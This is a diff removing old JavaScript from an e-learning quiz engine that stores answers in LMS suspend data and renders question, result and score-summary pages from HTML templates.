-		}
-	}
-	addToSuspendData("answersselected",tUserString);
-	
-}
-
-
-function userAttemptedValues(pQid,pArray,pQindex){
-	var temp;
-	var userselectedvalues=pArray[pQid-1];
-	if(userselectedvalues){
-		temp=','+(pQindex)+',';
-		if(userselectedvalues.indexOf(temp) >= 0){
-		       	return "true";
-		}
-		else
-			return "false";
-	}
-}
-
-
-
-  
-function markQuestion(pQuestionIndex,pReviewChecked){
-	var marked = "";
-	if(doLMSGetValue("cmi.suspend_data").indexOf("questionIndex") != -1){
-		if(pReviewChecked=="true"){
-			reviewQuestionNumber[reviewQuestionNumber.length]	=	pQuestionIndex;
-			reviewQuestionCache[pQuestionIndex]			=	1;
-			marked  =	getElementFromSuspendData("questionIndex") + ","+pQuestionIndex;
-		}
-		else{
-			reviewQuestionCache[pQuestionIndex]			=	null;
-			removeIndex(pQuestionIndex);
-			marked  =	getElementFromSuspendData("questionIndex");
-		}
-	}
-	else{
-		reviewQuestionNumber[reviewQuestionNumber.length]	=	pQuestionIndex;
-		marked = ","+pQuestionIndex;
-	}
-	addToSuspendData("questionIndex" , marked);
-	doLMSCommit();
-}
-
-function getIndicesOfQuestionsMarkedForReview(){
-	//reviewQuestionNumber = reviewQuestionNumber.sort();
-	return reviewQuestionNumber;
-}
-
-
-function selectQuestion(pIndex){
-        currentQustionIndex	=	parseInt(pIndex);
-	reviewQuestionCache[pIndex]	=	null;
-	removeIndex(pIndex);
-}
-
-function removeIndex(pIndex){
-	var counter	=	0;
-	var length	=	reviewQuestionNumber.length;
-	var index	=	0;
-	while(counter < length){
-		index	=	reviewQuestionNumber[counter];
-		if(index == pIndex){
-			reviewQuestionNumber[counter] = null;
-			var marked = getElementFromSuspendData("questionIndex");
-			marked = marked.substring(1,marked.length);
-			
-			addToSuspendData("questionIndex" , "");
-         	        var indices	=	marked.split(',');
-        		indices[counter] = null;
-			var tempMarked = "";
-			for(var i=0;i<indices.length;i++){
-				tempMarked = tempMarked + indices[i] + ",";
-			}
-			
-			if(tempMarked != "")
-				tempMarked = tempMarked.substring(0,(tempMarked.length-1));
-				
-			tempMarked = "," + tempMarked;
-			
-			addToSuspendData("questionIndex" , tempMarked);
-			doLMSCommit();
-		}
-		counter++;
-	}
-}
-
-function getUserSelected(){
- return  userAnswers;
-}
-
-
-
-
-function hasPreviousQuestion(){
-	if (currentQustionIndex > 0) return true;
-	else return false;
-}
-
-
-
-function decrementCursor(){
-	if (currentQustionIndex > 0) currentQustionIndex--;	
-	if (currentQustionIndex > 0) currentQustionIndex--;	
-}
-
-
-
-
-
-
-
-
-
-
-
-
-
-//Start Change of Model by Manu/Monalika/Sampad/Arijit
-
-//Base token to declare in the assessment page
-
-
-
-
-var QUESTIONS_TOKEN = "@@QUESTIONS@@";
-
-//Question numbers after randomization
-
-
-var QUESTION_ID_TOKEN = "@@QUESTION_ID@@";
-
-//Question Stem text
-
-
-
-var QUESTION_TEXT_TOKEN = "@@QUESTION_TEXT@@";
-//Image text
-
-
-
-var IMAGE_TEXT_TOKEN = "@@IMAGE_TEXT@@";
-
-
-//Instruction text
-
-var QUESTION_ITEXT_TOKEN= "@@QUESTION_ITEXT@@";
-
-//Question display number
-
-
-var QUESTION_NUMBER     = "@@QUESTION_NUMBER@@";
-
-//Choices or distracters for the question
-
-
-
-var CHOICE_TOKEN        = "@@CHOICE@@";
-
-
-// Feedback 
-
-var FEEDBACK_TOKEN      = "@@FEEDBACK@@";
-
-//Summary 
-var SUMMARY_TOKEN 		=  "@@SUMMARY@@";
-
-//Correct Summary
-
-var CORRECT_SUMMARY_TOKEN = "@@CORRECT_SUMMARY@@";
-//Incorrect Summary
-
-var INCORRECT_SUMMARY_TOKEN= "@@INCORRECT_SUMMARY@@";
-//Not Attempted Summary
-
-
-
-var NOT_ATTEMPTED_SUMMARY_TOKEN = "@@NOT_ATTEMPTED_SUMMARY@@";
-//Instruction text for each question
-
-var INSTRUCTION_TEXT_TOKEN="@@INSTRUCTION_TEXT@@";
-//Correct number of answer given by the user in percent or number
-
-
-var SCORE_TOKEN="@@SCORE@@";
-//Total number of question displayed
-
-
-var TOTAL_QUESTION_TOKEN="@@TOTAL_QUESTION@@";
-//Correct Instant feedback - Only used for single question per page type
-
-
-var CORRECT_INSTANT_FEEDBACK_TEXT_TOKEN="@@CORRECT_INSTANT_FEEDBACK_TEXT@@";
-//Incorrect Instant feedback - Only used for single question per page type
-
-
-var INCORRECT_INSTANT_FEEDBACK_TEXT_TOKEN="@@INCORRECT_INSTANT_FEEDBACK_TEXT@@";
-
-
-//Renderers
-
-//Default Renderers for Question Page
-var _defaultQuestionRenderer = new QuestionRenderer();
-
-//Choice Renderer for Question Page
-var _defaultChoiceRenderer = new ChoiceRenderer();
-
-//Default Renderers for Result Page
-var _defaultResultRenderer = new ResultRenderer();
-
-//Choice Renderer for Result Page - Choices
-var _defaultResultChoiceRenderer = new ResultChoiceRenderer();
-
-//Default Renderers for Result Summary
-var _defaultSummaryCorrectRenderer = new SummaryCorrectRenderer();
-var _defaultSummaryInCorrectRenderer = new SummaryInCorrectRenderer();
-var _defaultSummaryNotAttemptedRenderer = new SummaryNotAttemptedRenderer();
-
-//Default Renderers for Result - Scores
-var _defaultScoreRenderer=new ScoreRenderer();
-
-//Default Renderers for Result - Instruction text
-var _defaultInstructionTextRenderer = new InstructionTextRenderer();
-
-//Default Renderers forInstant Feedback in single question per page type assessments
-var _defaultInstantCorrectFeedbackRenderer=new InstantCorrectFeedbackRenderer();
-var _defaultInstantInCorrectFeedbackRenderer=new InstantInCorrectFeedbackRenderer();
-
-
-
-
-
-
-
-//Defining the html strings which will be replaced by default while rendering
-//All the methods below can be overriden in the pageLayout file to customize the assessment look and feel
-
-
-//Setting HTML Code block for Question Page
-
-_defaultQuestionRenderer.setHtmlCode('<tr><td bgcolor="yellow" width=575> <a name="qs@@QUESTION_ID@@">&nbsp;</a></td> </tr>'+
-
-		'<tr>\n <td> \n'+		
-
-		'<table cellpadding=0 cellspacing=0 border=0><tr><td valign=top align="left" width=25>'+
-
-		'<span name="@@QUESTION_ID@@question"  class="qtext1"> \n'+
-
-		'@@QUESTION_NUMBER@@. &nbsp;&nbsp;</td><td valign=top align=left class="qtextGreen" width=575  colspan=3>'+ 
-
-		'@@QUESTION_TEXT@@</td></tr><tr><td colspan=4>@@IMAGE_TEXT@@<br><br></td> </tr>'+
-
-		'<tr><td colspan=4>@@QUESTION_ITEXT@@</span> \n@@CHOICE@@</td></tr></table></td></tr>');	    
-
-
-//Setting HTML Code block for instruction text
-
-
-_defaultInstructionTextRenderer.setHtmlCode('<span class="blue">Please select&nbsp;&nbsp;<b>@@INSTRUCTION_TEXT@@</b>.</span><br><br></td></tr>\n');
-
-
-//Setting HTML Code block for Score display
-
-
-_defaultScoreRenderer.setHtmlCode("<tr><td class='blue'>You had <strong> @@SCORE@@ %</strong> out of @@TOTAL_QUESTION@@ Questions Correct.</td></tr>");
-
-
-//Setting HTML Code block for Correct Summary
-
-
-_defaultSummaryCorrectRenderer.setHtmlCode('<tr><td class="qtext">Question @@CORRECT_SUMMARY@@ -- Correct</td></tr>');
-
-
-//Setting HTML Code block for Incorrect Summary
-
-
-_defaultSummaryInCorrectRenderer.setHtmlCode('<tr><td class="qtext"> Question@@INCORRECT_SUMMARY@@ -- Incorrect</td></tr>');
-
-
-//Setting HTML Code block for Summary Not Attempted answer
-
-
-_defaultSummaryNotAttemptedRenderer.setHtmlCode('<tr><td class="qtext">Question @@NOT_ATTEMPTED_SUMMARY@@ -- Not Attempted</td></tr>');
-
-
-//Setting HTML Code block for Result Page
-
-
-_defaultResultRenderer.setHtmlCode('<tr><td bgcolor="yellow"> <a name="qs@@QUESTION_ID@@">&nbsp;</a></td> </tr>'+
-
-		'<tr>\n <td> \n'+		
-
-		'<table cellpadding=0 cellspacing=0 border=0><tr><td valign=top align="left" width=25>'+
-
-		'<span name="@@QUESTION_ID@@question"  class="qtext1"> \n'+
-
-		'@@QUESTION_NUMBER@@. &nbsp;&nbsp;</td><td valign=top align=left class="qtextGreen" width=575  colspan=3>'+ 
-
-		'@@QUESTION_TEXT@@</td></tr><tr><td colspan=4>@@IMAGE_TEXT@@<br><br></td> </tr>'+
-
-		'<tr><td colspan=4>@@QUESTION_ITEXT@@</span> \n@@CHOICE@@</td></tr><tr><td valign=top align=left class="qtext1" colspan=4>@@FEEDBACK@@</span></td></tr></table></td></tr>');	
-
-
-
-//Setting HTML Code block for instant Correct Feedback
-
-
-_defaultInstantCorrectFeedbackRenderer.setHtmlCode('<tr><td class="green">@@CORRECT_INSTANT_FEEDBACK_TEXT@@</td></tr>');
-
-
-//Setting HTML Code block for instant Incorrect Feedback
-
-
-_defaultInstantInCorrectFeedbackRenderer.setHtmlCode('<tr><td class="red">@@INCORRECT_INSTANT_FEEDBACK_TEXT@@</td></tr>');
-
-
-//The above methods can be overridden in the pageLayout file
-
- 
-
-// Methods for Question Page
-
-function _getRenderer(){
-
-	return this.guestionRenderer ;
-
-}
-
-
-function _getChoiceRenderer(){
-
-	return this.choiceRenderer;
-
-}
-
-//main rendering function to be called from the Assessment Page (Multi Question / Page)
-
-
-
-function AssessmentPageRenderer(pDocument){
-
-			iContentPage =pDocument;// inorder to set the content page reference.
-
-			this.htmlDocument 		= pDocument;
-
-			this.defaultQuestionRenderer 	= _defaultQuestionRenderer;
-		
-			this.render		     	= _render;	
-		
-			this.htmlCode                   = null;
-		
-			this.setHtmlCode                = _setHtmlCode;	
-
-	
-}
-
-
-function _setHtmlCode(pCodeString){
-	
-	this.htmlCode                   = pCodeString;
-
-}
-
-//render() called from Assessment page
-
-
-
-
-function _render(){
-
-	//debugger;
-
-	if(!this.htmlDocument)	{
-
-		alert("please set the html document reference!");
-
-		return;	
-
-	}
-
-	var questionString              = "";
-
-	var length                      = iFinalQuestions.length;
-
-	var index                       = 0;
-
-	var question                    = "null";
-
-	while(index < length){
-
-		question                = iFinalQuestions[index];
-		//alert("question== "+ (question.getRenderer()));
-		
-		if(question.getRenderer())
-
-			questionString  += question.getRenderer().render(question , index);
-
-		else
-
-			questionString  += this.defaultQuestionRenderer.render(question , index);
-
-		index++;
-
-	}
-
-	this.htmlDocument.write(replaceToken(QUESTIONS_TOKEN,this.htmlCode , questionString));	
-
-	this.htmlDocument.close();
-
-}
-
-
-// Question Renderer
-function QuestionRenderer(){
-
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setQuestionHtmlCode;
-	this.InstructionTextRenderer=_defaultInstructionTextRenderer;
-	this.render      = _renderQuestion;
-
-	this.choiceRenderer = _defaultChoiceRenderer;
-
-	this.setChoiceRenderer = _setChoiceRenderer;
-
-	this.getChoiceRenderer = _getChoiceRenderer;
-	
-}
-
-
-//Replacing Tokens in Assessment page with Respective Code blocks
-
-function _renderQuestion(pQuestion , pIndex){
-
-	//debugger;
-
-	var imageString = "";  //added to display images/swf
-    
-    if(pQuestion.image){
-      if(pQuestion.image.substring(pQuestion.image.lastIndexOf(".")+1) == 'swf')  {
-var imageString = '<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"';
- imageString += 'codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/';
-imageString += 'swflash.cab#version=6,0,29,0\" width=\"'+flashWidth+'\"'; 
-imageString += 'height=\"'+flashHeight+'\"><param name=\"movie\"'; 
-imageString += 'value=\"'+pQuestion.image+'\"><param name=\"quality\"'; 
-imageString += 'value=\"high\">';
-imageString += '<embed src=\"'+pQuestion.image+'\" quality=\"high\"'; 
-imageString += 'pluginspage=\"http://www.macromedia.com/go/getflashplayer\"'; 
-imageString += 'type=\"application/x-shockwave-flash\" width=\"'+flashWidth+'\"'; imageString += 'height=\"'+flashHeight+'\"></embed></object>';
-					
-			}
-			else {
-var imageString = '<img border=\"0\" src=\"' + pQuestion.image + '\"'; 
-imageString += 'usemap=\"#HeaderMap\" alt=\"\">';
-                
-			}
-    }
-	
-	
-	var questionString = "";
-
-	questionString = replaceToken(QUESTION_ID_TOKEN , this.htmlCode , pQuestion.getId());
-
-	questionString = replaceToken(QUESTION_TEXT_TOKEN , questionString , pQuestion.text);
-	
-	questionString = replaceToken(IMAGE_TEXT_TOKEN , questionString , imageString);
-
-	var iText = "";
-	var instructionrenderer=pQuestion.InstructionTextRenderer;
-
-	if(!pQuestion.getInstructionText()){
-	
-	iText= instructionrenderer.render(pQuestion.type);
-
-	}else {
-
-		iText= pQuestion.getInstructionText();
-
-	}
-
-	questionString = replaceToken(QUESTION_ITEXT_TOKEN , questionString , iText);
-
-	questionString = replaceToken(QUESTION_NUMBER , questionString , pIndex+1);
-
-	
-
-	var choiceRenderer = pQuestion.getChoiceRenderer();
-
-	if(!choiceRenderer) 
-
-		choiceRenderer = this.choiceRenderer;
-	
-//Calls the render() of QuestionRenderer for generating Choices to replace @@CHOICE@@ token
-	questionString = replaceToken(CHOICE_TOKEN , questionString , choiceRenderer.render(pQuestion.answers , pQuestion , pIndex));
-
-	return questionString;
-
-}
-
-
-
-function _setQuestionHtmlCode(pCode){
-
-	this.htmlCode = pCode;
-
-}
-
-
-
-
-// Choice Renderer
-
-function _setChoiceRenderer(pRenderer){
-
-	this.choiceRenderer = pRenderer;
-
-}
-
-
-
-function _getChoiceRenderer(){
-
-	return this.choiceRenderer;
-
-}
-
-
-
-function ChoiceRenderer(){
-
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setChoiceHtmlCode;
-
-	this.render      = _renderChoice;
-	
-	
-
-}
-
-function _setChoiceHtmlCode(pCode){
-
-	this.htmlCode = pCode;
-
-}
-
-// render() for Choices in Question page
-function _renderChoice(pAnswersArray , pQuestion , pIndex){
-        
-	var completeChoiceString = "";
-	var tAnswers = pQuestion.answers;
-	var choice       = null;
-
-	var numberOfChoices = pAnswersArray.length;
-	var correctAnsString = "";
-	var index        = 0;
-	var tArray=null;
-
-	var questionLetter = 1;
-
-	if(doLMSGetValue("cmi.suspend_data").indexOf("lesson_status") != -1){
-		tArray = getUserResponse();
-		
-	}
-		//addition
-    for( j=0; j < tAnswers.length; j++ ){
-			if( tAnswers[j].correct == true ){
-				if( correctAnsString.length > 0 ){
-					correctAnsString += "," + (j+1) 
-				}
-				else{
-					correctAnsString += (j+1);			
-				}
-			}
-			}
-			iAnswersArray[ pIndex ] = correctAnsString;
-		
-		//end for
-		
-		
-	while(index < numberOfChoices){		
-
-		choice   = pAnswersArray[index];
-		
-		if(tArray)
-		var userclick=userAttemptedValues((pIndex + 1),tArray,questionLetter);
-
-		completeChoiceString += '<tr><td width=15 align=left>&nbsp;</td><td valign=top width=15 align=left><span class="choice" name="' + pQuestion.id +'choice' + (index+1) + '">\n';
-
-		
-		if( pQuestion.type == 'multiple' )
-			{
-			if(userclick=="true" && resumeAssessment){
-			completeChoiceString += '<input name="qs' + pQuestion.id + 'choiceBtn" value="' + (index+1) + '" type="checkbox" checked onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')" >\n';
-			}
-			else
-			{
-				completeChoiceString += '<input name="qs' + pQuestion.id + 'choiceBtn" value="' + (index+1) + '" type="checkbox" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')" >\n';
-		}
-		}
-
-		else if( pQuestion.type == 'single' ){
-		
-		if(userclick=="true" && resumeAssessment){
-		completeChoiceString += '<input name="qs'+ pQuestion.id + 'RadioInp" type="radio" checked  onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-		
-		}
-		else
-		{
-					
-		completeChoiceString += '<input name="qs'+ pQuestion.id + 'RadioInp" type="radio" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-		}
-		}
-
-
-
-		questionLetters = String.fromCharCode( questionLetter + 64 );
-
-
-
-		completeChoiceString += '</input></span></td><td valign=top class="qtext" align="left" width=15>' + questionLetters + '.&nbsp;&nbsp;</td><td valign=top align=left class="qtext" width=555>';
-
-		completeChoiceString += choice.text;
-
-		completeChoiceString += '<br><br></td></tr>\n';
-
-		questionLetter++;
-
-		index++;
-
-	}
-
-	return completeChoiceString;
-
-}
-
-function InstructionTextRenderer()
-{
-this.htmlCode=null;
-this.setHtmlCode=_setInstructionHtmlCode;
-this.render= _renderInstructionText;
-}
-
-function _setInstructionHtmlCode(pCode)
-{
-	this.htmlCode=pCode;
-
-}
-
-function _renderInstructionText(pType)
-{
-	var instructionText="";
-	if(pType=='multiple')
-	{
-	instructionText+='all the correct answers.'
-	}
-	else
-	{
-		instructionText+='the best answer.'
-	}
-	
-	var tempstring=replaceToken(INSTRUCTION_TEXT_TOKEN,this.htmlCode,instructionText);
-	return tempstring;
-}
-
-
-// Result Page
-
-
-
-function _setResultChoiceRenderer(pRenderer){
-
-	this.resultChoiceRenderer = pRenderer;
-
-}
-
-
-
-function _getResultChoiceRenderer(){
-
-	return this.resultChoiceRenderer;
-
-}
-
-
-
-function _setResultHtmlCode(pCode){
-
-	this.htmlCode = pCode;
-
-}
-
-
-
-// Results Choice Renderer
-
-
-
-function ResultChoiceRenderer(){
-
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setResultChoiceHtmlCode;
-
-	this.render      = _renderResultChoice;
-	
-}
-
-
-
-function _setResultChoiceHtmlCode(pCode){
-
-	this.htmlCode = pCode;
-
-}
-
-
-
-function _renderResultChoice(pAnswersArray , pQuestion , pIndex){
-
-	var completeChoiceString = "";
-
-	var choice       = null;
-
-	var numberOfChoices = pAnswersArray.length;
-
-	var index        = 0;
-
-	var questionLetter = 1;
-	var tAnswers = pAnswersArray;
-	var correctAnsString = "";
-
-	while(index < numberOfChoices){	
-
-			choice   = pAnswersArray[index];
-
-		if( tAnswers[index].correct == true ){
-			if( correctAnsString.length > 0 ){
-				correctAnsString += "," + (index+1);
-			}
-			else{
-				correctAnsString += (index+1);
-			}
-		}
-
-		completeChoiceString += '<tr><td width=15>&nbsp;</td><td valign=top align=left width=15><span class="choice" name="' + pQuestion.id +'choice' + (index+1)  + '">\n';
-		if( pQuestion.type == 'multiple' ){
-			completeChoiceString += '<input disabled name="' + pQuestion.id + 'choiceBtn" value="' + (j+1) + '" type="checkbox" ' +checkIfSelected(userSelected[pIndex],index+1) + ' >\n';
-		}
-		else if( pQuestion.type == 'single' ){
-			completeChoiceString += '<input disabled name="'+ pQuestion.id + 'RadioInp" type="radio" ' + checkIfSelected(userSelected[pIndex],index+1) + ' >\n';
-		}
-		
-		questionLetters = String.fromCharCode( questionLetter + 64 );
-		
-		completeChoiceString += '</input></td><td valign=top width=15 align=left class="qtext">' + questionLetters + '.&nbsp;&nbsp;</td><td valign=top class="qtext" align=left width=555>';
-		completeChoiceString += tAnswers[index].text;
-		completeChoiceString += '<br><br></td></tr>\n';
-		questionLetter++;	
-		index++;
-	}
-	
-	return completeChoiceString;
-
-}
-
-
-//Results Renderer
-
-
-function ResultRenderer(){
-
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setResultHtmlCode;
-
-	this.render      = _renderResult;
-
-	this.choiceRenderer = _defaultResultChoiceRenderer;
-
-	this.setChoiceRenderer = _setResultChoiceRenderer;
-
-	this.getChoiceRenderer = _getResultChoiceRenderer;
-
-}
-
-
-function _getResultRenderer(){
-
-	return this.resultRenderer;
-
-}		
-
-
-function ResultsPageRenderer(pDocument){
-	
-	iContentPage =pDocument;
-	
-	this.htmlDocument 		= pDocument;
-
-	this.defaultResultRenderer 	= _defaultResultRenderer;
-
-	this.render		     	= _resRender;	
-
-	this.htmlCode           = null;
-
-	this.setHtmlCode        = _setHtmlCode;	
-
-}
-
-//resRnder() function called from Result page
-
-
-function _resRender(){
-
-	//debugger;
-
-
-	userSelected = iHeaderFrame.iUserAnswers;
-
-	if(!this.htmlDocument)	{
-
-		alert("please set the html document reference!");
-
-		return;	
-
-	}
-
-	var resultString              = "";
-
-	var length                      = iFinalQuestions.length;
-
-	var index                       = 0;
-
-	var question                    = "null";
-
-
-
-		resultString += '<form name="qz">';
-			while(index < length){
-		
-				question                = iFinalQuestions[index];
-				//alert("question== "+ (question.getRenderer()));
-		
-				if(question.getResultRenderer())
-		
-					resultString  += question.getResultRenderer().render(question , index);
-		
-				else
-		
-					resultString  += this.defaultResultRenderer.render(question , index);
-		
-				index++;
-
-	}
-		resultString += '</form>';
-
-		this.htmlDocument.write(replaceToken(QUESTIONS_TOKEN,this.htmlCode , resultString));	
-
-		this.htmlDocument.close();
-
-}
-		
-//Replacing Tokens in Result page with Respective Code blocks
-function _renderResult(pQuestion , pIndex){
-
-	//debugger;
-	
-		 var imageString = "";
-    
-    if(pQuestion.image){
-     if(pQuestion.image.substring(pQuestion.image.lastIndexOf(".")+1) == 'swf')  {
-var imageString = '<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"';
- imageString += 'codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/';
-imageString += 'swflash.cab#version=6,0,29,0\" width=\"'+flashWidth+'\"'; 
-imageString += 'height=\"'+flashHeight+'\"><param name=\"movie\"'; 
-imageString += 'value=\"'+pQuestion.image+'\"><param name=\"quality\"'; 
-imageString += 'value=\"high\">';
-imageString += '<embed src=\"'+pQuestion.image+'\" quality=\"high\"'; 
-imageString += 'pluginspage=\"http://www.macromedia.com/go/getflashplayer\"'; 
-imageString += 'type=\"application/x-shockwave-flash\" width=\"'+flashWidth+'\"'; imageString += 'height=\"'+flashHeight+'\"></embed></object>';
-					
-			}
-			else {
-var imageString = '<img border=\"0\" src=\"' + pQuestion.image + '\"'; 
-imageString += 'usemap=\"#HeaderMap\" alt=\"\">';
-                
-			}
-    }
-	
-	
-	
-	var resultString = "";
-
-	resultString = replaceToken(QUESTION_ID_TOKEN , this.htmlCode , pQuestion.getId());
-
-	resultString = replaceToken(QUESTION_TEXT_TOKEN , resultString , pQuestion.text);
-	resultString = replaceToken(IMAGE_TEXT_TOKEN , resultString , imageString);
-
-	var iText = "";
-	var instructionrenderer=pQuestion.InstructionTextRenderer;
-	if(!pQuestion.getInstructionText()){
-
-		iText= instructionrenderer.render(pQuestion.type);
-
-	}else {
-
-		iText= pQuestion.getInstructionText();
-
-	}
-	var tFeedback;
-	if( pQuestion.userResponse ){
-		tFeedback = pQuestion.correctFeedbackText;
-	}
-	else{
-		tFeedback = pQuestion.incorrectFeedbackText;	
-	} 
-	if( tFeedback == "" ){
-		tFeedback = correctAnswerString(correctAnsString);
-	}
-	
-	resultString = replaceToken(QUESTION_ITEXT_TOKEN , resultString , iText);
-
-	resultString = replaceToken(QUESTION_NUMBER , resultString , pIndex+1);
-	
-
-
-	var resultChoiceRenderer = pQuestion.getResultChoiceRenderer();
-
-	
-	if(!resultChoiceRenderer) 
-
-		resultChoiceRenderer = this.resultChoiceRenderer;
-	
-//Calls the render() of Results Renderer for the generating disabled Choices to replace @@CHOICE@@ token
-		resultString = replaceToken(CHOICE_TOKEN , resultString , resultChoiceRenderer.render(pQuestion.answers , pQuestion , pIndex));
-		resultString = replaceToken(FEEDBACK_TOKEN , resultString , tFeedback);
-	return resultString;
-
-}
-
-
-//Summary Renderer
-
-//Summary Renderer called from Result Summary page
-
-
-
-function SummaryPageRenderer(pDocument)
-{
-
-this.htmlDocument=pDocument;
-this.defaultSummaryCorrectRenderer 	= _defaultSummaryCorrectRenderer;
-this.defaultSummaryInCorrectRenderer 	= _defaultSummaryInCorrectRenderer;
-this.defaultSummaryNotAttemptedRenderer= _defaultSummaryNotAttemptedRenderer;
-this.defaultScoreRenderer= _defaultScoreRenderer;
-this.render = _summaryRender;
-this.htmlCode=	null;
-this.setHtmlCode= _setSummaryHtmlCode;
-
-}
-
-
-
-
-function  _setSummaryHtmlCode(pCodeString)
-{
-this.htmlCode=pCodeString;
-}
-
-
-
-
-function _summaryRender()
-{
-
-	if(!this.htmlDocument)	
-	{
-	alert("please set the html document reference!");
-	return;
-	}	
-	
-	iFinalQuestions 		= iHeaderFrame.iFinalQuestions;
-
-	userSelected 			= iHeaderFrame.iUserAnswers;
-
-	var length                      = iFinalQuestions.length;
-
-	var index                       = 0;
-
-	score				= iHeaderFrame.score;
-	
-	question			= null;
-	
-	var tString 			= '';	
-	
-	if( showPercentage ){
-		score = (score/displayQuestions) * 100;
-		score = Math.round(score);
-		tString= this.defaultScoreRenderer.render(score,displayQuestions);	
-		}
-	else{
-		tString= this.defaultScoreRenderer.render(score,displayQuestions);
-		}
-	initializeVariables();
-
-	var summaryString              = tString;
-
-	while(index < displayQuestions)
-		{
-		question                = iFinalQuestions[index];
-
-			if(question)
-			{	
-			
-		if(question.userResponse){
-
-			summaryString  += this.defaultSummaryCorrectRenderer.render(index+1 , userSelected[index]);
-		}
-
-		else
-		{ 
-		if(userSelected[index])
-		{
-			
-			summaryString  += this.defaultSummaryInCorrectRenderer.render(index+1 , userSelected[index]);
-		}	
-		else
-		{
-			summaryString  += this.defaultSummaryNotAttemptedRenderer.render(index+1 , userSelected[index]);
-		}
-		}
-		}
-
-		index++;
-
-	}
-
-	this.htmlDocument.write(replaceToken(SUMMARY_TOKEN,this.htmlCode , summaryString));	
-
-	this.htmlDocument.close();
-	}
-	
-
-
-// CorrectSummary Renderer
-function SummaryCorrectRenderer()
-	{
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setSummaryCorrectHtmlCode;
-
-	this.render      = _renderSummaryCorrect;
-	}
-	
-
-
-function _setSummaryCorrectHtmlCode(pCode)
-	{
-		this.htmlCode=pCode;
-		
-	}
-	
-
-
-function _renderSummaryCorrect(index,pString)
-	{
-	
-		var SummaryCorrectString = index.toString();
-		SummaryCorrectString+= " ";
-		SummaryCorrectString += insertCommas(pString);
-		var tempString= replaceToken(CORRECT_SUMMARY_TOKEN, this.htmlCode, SummaryCorrectString);
-	return tempString;
-		
-	}
-
-
-//SummaryIncorrect
-function SummaryInCorrectRenderer()
-	{
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setSummaryInCorrectHtmlCode;
-
-	this.render      = _renderSummaryInCorrect;
-	}
-	
-
-
-function _setSummaryInCorrectHtmlCode(pCode)
-	{
-		this.htmlCode=pCode;
-		
-	}
-	
-
-
-function _renderSummaryInCorrect(index,pString)
-	{
-	
-		var SummaryInCorrectString = index.toString();
-		SummaryInCorrectString+= " ";
-		SummaryInCorrectString += insertCommas(pString);
-		var tempString= replaceToken(INCORRECT_SUMMARY_TOKEN, this.htmlCode, SummaryInCorrectString);
-	return tempString;
-		
-	}
-
-//summary Not attempted
-function SummaryNotAttemptedRenderer()
-	{
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setSummaryNotAttemptedHtmlCode;
-
-	this.render      = _renderSummaryNotAttempted;
-	}
-	
-
-
-function _setSummaryNotAttemptedHtmlCode(pCode)
-	{
-		this.htmlCode=pCode;
-		
-	}
-	
-
-
-function _renderSummaryNotAttempted(index,pString)
-	{
-	
-		var SummaryNotAttemptedString = index.toString();
-		SummaryNotAttemptedString+= " ";
-		SummaryNotAttemptedString += insertCommas(pString);
-		var tempString= replaceToken(NOT_ATTEMPTED_SUMMARY_TOKEN, this.htmlCode, SummaryNotAttemptedString);
-	return tempString;
-		
-	}
-	
-	
-
-function ScoreRenderer()
-	{
-		this.htmlCode=null;
-		this.setHtmlCode= _setScoreHtml;
-		this.render=_renderScore;
-		
-	}
-	
-
-
-function _setScoreHtml(pCode)
-	{
-	 	this.htmlCode=pCode;
-	}
-	
-	
-
-function _renderScore(pScore,pDisplayQuestion)
-	{
-		var finalScoreText=replaceToken(SCORE_TOKEN,this.htmlCode,pScore);
-		this.setHtmlCode(finalScoreText);
-		finalScoreText=replaceToken(TOTAL_QUESTION_TOKEN,this.htmlCode,pDisplayQuestion);
-		return finalScoreText;
-	}
-	
-
-
-function _setCorrectFeedbackHtmlCode(pCode)
-{
-	this.htmlCode=pCode;
-}
-
-
-
-function _setInCorrectFeedbackHtmlCode(pCode)
-{
-	this.htmlCode=pCode;
-}
-	
-
-
-//for single question per Page type assessment.....
-
-
-function SinglePageAssessmentRenderer()
-{
-			
-			this.htmlDocument 		= null;
-			this.setHtmlDocument		= _setSinglePageAssessmentHtmlDocument;
-			this.defaultQuestionRenderer 	= _defaultQuestionRenderer;
-		
-			this.render		     	= _singlePageAssessmentrender;	
-		
-			this.htmlCode                   = null;
-		
-			this.setHtmlCode                = _setSinglePageAssessmentHtmlCode;	
-			
-		
-}
-
-
-
-function _setSinglePageAssessmentHtmlCode(pCodeString){
-	
-	this.htmlCode                   = pCodeString;
-
-}
-
-
-
-function _setSinglePageAssessmentHtmlDocument(pDocument,pFormName){
-
-	iContentPage =pDocument;
-
-	setQuestionsForm(pFormName);
-
-	this.htmlDocument                   = pDocument;
-
-}
-
-
-
-function _singlePageAssessmentrender()
-{
-	
-	if(!this.htmlDocument)	{
-
-		alert("please set the html document reference!");
-
-		return;	
-
-		}
-	
-	var questionString              = "";
-
-	var questionNum 		= 	currentQustionIndex;
-
-	var question                    = "null";
-
-
-if(hasNextQuestion() )
-{
-	var question = getNextQuestion();
-	if(question.getRenderer())
-	questionString  += question.getRenderer().render(question , questionNum);
-	else
-	questionString  += this.defaultQuestionRenderer.render(question , questionNum);
-}
-
-this.htmlDocument.write(replaceToken(QUESTIONS_TOKEN,this.htmlCode , questionString));
-this.htmlDocument.close();
-
-}
-
-
-
-function InstantCorrectFeedbackRenderer()
-{
-this.htmlCode=null;
-this.setHtmlCode=_setCorrectFeedbackHtmlCode;
-this.render=_renderInstantCorrectFeedback;
-}
-
-
-
-function _renderInstantCorrectFeedback(pQuestion)
-{
-		
-var feedbackString=replaceToken(CORRECT_INSTANT_FEEDBACK_TEXT_TOKEN,this.htmlCode,pQuestion.correctFeedbackText);
-return feedbackString;
-}
-
-
-
-function InstantInCorrectFeedbackRenderer()
-{
-this.htmlCode=null;
